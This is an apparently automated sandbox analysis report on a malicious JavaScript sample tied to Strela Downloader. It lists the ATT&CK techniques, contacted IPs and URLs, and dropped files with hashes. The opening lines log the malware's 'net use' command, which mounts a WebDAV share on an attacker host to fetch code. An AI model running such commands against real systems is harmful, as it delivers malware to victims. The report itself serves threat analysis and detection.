Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2280028191949810979.js	3%	Virustotal		Browse
2280028191949810979.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tace	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/tace	net.exe, 00000007.00000002.2134472356.000001B39C248000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3361037087.0000022466600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2129426791.00000224664F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/G	net.exe, 00000007.00000003.2128370776.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134695544.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2128370776.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134695544.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2135097201.000001B39C29F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134472356.000001B39C248000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117146339.000001B39C29D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587837
Start date and time:	2025-01-10 18:26:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2280028191949810979.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.23.197.184, 13.107.246.45, 172.202.163.200, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:27:20	API Interceptor	21x Sleep call for process: powershell.exe modified
12:27:24	API Interceptor	1x Sleep call for process: net.exe modified
12:27:25	API Interceptor	2x Sleep call for process: svchost.exe modified
12:27:37	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307386997127754
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugj:gJjJGtpTq2yv1AuNZRY3diu8iBVqFl
MD5:	B754D1FCE7FCFAAF7B541E0650EE7218
SHA1:	BE77175ACF183A745BB50AC9FA018FBFF47143F2
SHA-256:	275F3EEC872FCCC0916463A3EB7E20C2562509C28930DDDC75EDB1077FF19C3C
SHA-512:	16351A5C74B39B1097BF77FAA9AB31AFBA7B2C40D64E0560BEE7D7B96A69D78791FD8535F1CF2EBF45D5728A08C05D8AD86D3E93B813E387D9DC792920E4FFBB
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0d91503, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585785453767538
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	3B3F6EEA4258E0BA1E254F9289B6FCEB
SHA1:	77DCA708C70F7DB09E3115308BB4F7B38E495F8D
SHA-256:	6381039DDC1B136C95226C26841F87D914EE32366A1A569E230643031DFFD697
SHA-512:	CED9654AC498451E62B51CFE3AB07031DBE3150276ED5D4A89E00A097F4F497D8EC8C21E5C08CD5647B3DB15AAFB021FA3CFAE0B6E2CEB7831937B469B559CF2
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{.......}?.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................}.N.....}?..................iP......}?..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114471156264216
Encrypted:	false
SSDEEP:	3:Y5S6YeLHyekGuAJkhvekl1ILYgqllrekGltll/SPj:Y5dzLStrxlieJe3l
MD5:	61CA5B8001C92CD88139C72274F95807
SHA1:	D2FB6CB49435B14640538B6BA60911471D4E88FA
SHA-256:	DB6F69DAEF29DF8D5577740F007FEC3D7685B4CF9DF1BC3C8DD3A73E67DA305B
SHA-512:	081A769CE737526F6864348E5220C09747BF13B289CDE54FAAB1D3D9ED68F30517E3F203D04FCA496651FF9DF91001B6C6FDB6506F7FF031B5ED7578EF51CEB2
Malicious:	false
Preview:	i.zt.....................................;...{.......}?......{...............{.......{...XL......{...................iP......}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.230742826267342
Encrypted:	false
SSDEEP:	6:iO4jQ+q2P92nKuAl9OmbnIFUtSaFkgZmwsaFkQVkwO92nKuAl9OmbjLJ:7qVv4HAahFUtXkg/pkI5LHAaSJ
MD5:	FAC7161AFD0E5A14D164F0DCDF1DF48F
SHA1:	C58DCB3CD7F4E4ECF254C72BB66C20A533E7A2E2
SHA-256:	AC42B2A0296B48BFF5D201ED53681A542E0CF005B1C1E42872721CDCD114048C
SHA-512:	66FF70D8E2B04DEEC63DB7BCBBBD9E995E228C46875D5C0E1600AC6B75D0FE3D5A0E48482ED32D9CB72CCDD1195C0803D9D30E0B97D2A41D97A2B2A2405F2E57
Malicious:	false
Preview:	2025/01/10-12:27:24.369 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:27:24.372 1b98 Recovering log #3.2025/01/10-12:27:24.372 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.230742826267342
Encrypted:	false
SSDEEP:	6:iO4jQ+q2P92nKuAl9OmbnIFUtSaFkgZmwsaFkQVkwO92nKuAl9OmbjLJ:7qVv4HAahFUtXkg/pkI5LHAaSJ
MD5:	FAC7161AFD0E5A14D164F0DCDF1DF48F
SHA1:	C58DCB3CD7F4E4ECF254C72BB66C20A533E7A2E2
SHA-256:	AC42B2A0296B48BFF5D201ED53681A542E0CF005B1C1E42872721CDCD114048C
SHA-512:	66FF70D8E2B04DEEC63DB7BCBBBD9E995E228C46875D5C0E1600AC6B75D0FE3D5A0E48482ED32D9CB72CCDD1195C0803D9D30E0B97D2A41D97A2B2A2405F2E57
Malicious:	false
Preview:	2025/01/10-12:27:24.369 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:27:24.372 1b98 Recovering log #3.2025/01/10-12:27:24.372 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.113015361208803
Encrypted:	false
SSDEEP:	6:iO4d/v4q2P92nKuAl9Ombzo2jMGIFUtS3fFNJZmwssuw3DkwO92nKuAl9Ombzo23:7kv4v4HAa8uFUtSfFNJ//D5LHAa8RJ
MD5:	90D3D33A128E0E1B6F55EEA7DD348C5F
SHA1:	0FADEEA7AEEAA2E1E1544F5BF0071C5571B2D2DA
SHA-256:	5259E302FE69E56BFFB5261855D730A4798B2FB4AD52F37D9CF17699C68A237A
SHA-512:	188ABA57EBB8993988449B4C67E639E6E52E02601C5B01CA244E41A3D888F9C5CA9FBF9C2BA7D2250AD4A1586163C1EC507BBDDE5881D405F6138F73A6AAD521
Malicious:	false
Preview:	2025/01/10-12:27:24.504 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:27:24.506 1c20 Recovering log #3.2025/01/10-12:27:24.507 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.113015361208803
Encrypted:	false
SSDEEP:	6:iO4d/v4q2P92nKuAl9Ombzo2jMGIFUtS3fFNJZmwssuw3DkwO92nKuAl9Ombzo23:7kv4v4HAa8uFUtSfFNJ//D5LHAa8RJ
MD5:	90D3D33A128E0E1B6F55EEA7DD348C5F
SHA1:	0FADEEA7AEEAA2E1E1544F5BF0071C5571B2D2DA
SHA-256:	5259E302FE69E56BFFB5261855D730A4798B2FB4AD52F37D9CF17699C68A237A
SHA-512:	188ABA57EBB8993988449B4C67E639E6E52E02601C5B01CA244E41A3D888F9C5CA9FBF9C2BA7D2250AD4A1586163C1EC507BBDDE5881D405F6138F73A6AAD521
Malicious:	false
Preview:	2025/01/10-12:27:24.504 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:27:24.506 1c20 Recovering log #3.2025/01/10-12:27:24.507 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4043a81a-4ee0-4582-8bee-0545f6c135c0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.058434275705317
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2HGcaq3QYiubxnP7E4T3OF+:Y2sRdspdMH53QYhbxP7nbI+
MD5:	A67734F2372844E8170CEC8A38599185
SHA1:	BAE2680DEF2C2E273BA90D4A9072249EE710459C
SHA-256:	A9EFE52F6F20862515A5913F331760B6CC24E4298878FAE8B10E43093ACC7E60
SHA-512:	CE3D13E014C35DFF2D0FA7715F2A5E6BDC2A577EC302860F913AFA78EAA73C1E0DB54C7765C90FD83078B1DBFC3C1430A0E0532F03AB1BEAEE43D87434C9DEF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090056794241","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138891},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.058434275705317
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2HGcaq3QYiubxnP7E4T3OF+:Y2sRdspdMH53QYhbxP7nbI+
MD5:	A67734F2372844E8170CEC8A38599185
SHA1:	BAE2680DEF2C2E273BA90D4A9072249EE710459C
SHA-256:	A9EFE52F6F20862515A5913F331760B6CC24E4298878FAE8B10E43093ACC7E60
SHA-512:	CE3D13E014C35DFF2D0FA7715F2A5E6BDC2A577EC302860F913AFA78EAA73C1E0DB54C7765C90FD83078B1DBFC3C1430A0E0532F03AB1BEAEE43D87434C9DEF6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090056794241","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138891},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239468805566706
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU03VJA:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLK
MD5:	8E22F097EF456691B259C25F0CEED7F3
SHA1:	505565D20EB78439E8CCE8789CB28FD72BAEDBE5
SHA-256:	BDFC4A791FE64F39539EDDEA841E19C9ECCF781BD2F2B8D299BCF4E1A9E74668
SHA-512:	9D9930964F50F892B228683AFE797A2933D91423EE1FE0B4A721F8770DB27459A3F733010D565ECFC7175F634740FAF81D34415C7AF14C4DF85C6D6E666F171B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.128933307433168
Encrypted:	false
SSDEEP:	6:iO4LR4q2P92nKuAl9OmbzNMxIFUtScXJZmws0XDkwO92nKuAl9OmbzNMFLJ:7W4v4HAa8jFUt5XJ/3XD5LHAa84J
MD5:	6DFEA254DB4F5D8548180F639DA91935
SHA1:	25649AB6B459CEF721F21C1A1C550D87F4451BF2
SHA-256:	CBABA69B9766E4E6E29A9A613E0DF31BD71A31554DF40BBE11184826FD984474
SHA-512:	5F1F27E0662C4CD882A81332EE85D35F2D46270C478C24ACD8E838DEDA421AD6713E196F9A1C456819ECA0B3FA88CF9733ED2278C40CD1D1E9154502EC6AF9A8
Malicious:	false
Preview:	2025/01/10-12:27:25.354 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:27:25.371 1c20 Recovering log #3.2025/01/10-12:27:25.379 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.128933307433168
Encrypted:	false
SSDEEP:	6:iO4LR4q2P92nKuAl9OmbzNMxIFUtScXJZmws0XDkwO92nKuAl9OmbzNMFLJ:7W4v4HAa8jFUt5XJ/3XD5LHAa84J
MD5:	6DFEA254DB4F5D8548180F639DA91935
SHA1:	25649AB6B459CEF721F21C1A1C550D87F4451BF2
SHA-256:	CBABA69B9766E4E6E29A9A613E0DF31BD71A31554DF40BBE11184826FD984474
SHA-512:	5F1F27E0662C4CD882A81332EE85D35F2D46270C478C24ACD8E838DEDA421AD6713E196F9A1C456819ECA0B3FA88CF9733ED2278C40CD1D1E9154502EC6AF9A8
Malicious:	false
Preview:	2025/01/10-12:27:25.354 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:27:25.371 1c20 Recovering log #3.2025/01/10-12:27:25.379 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
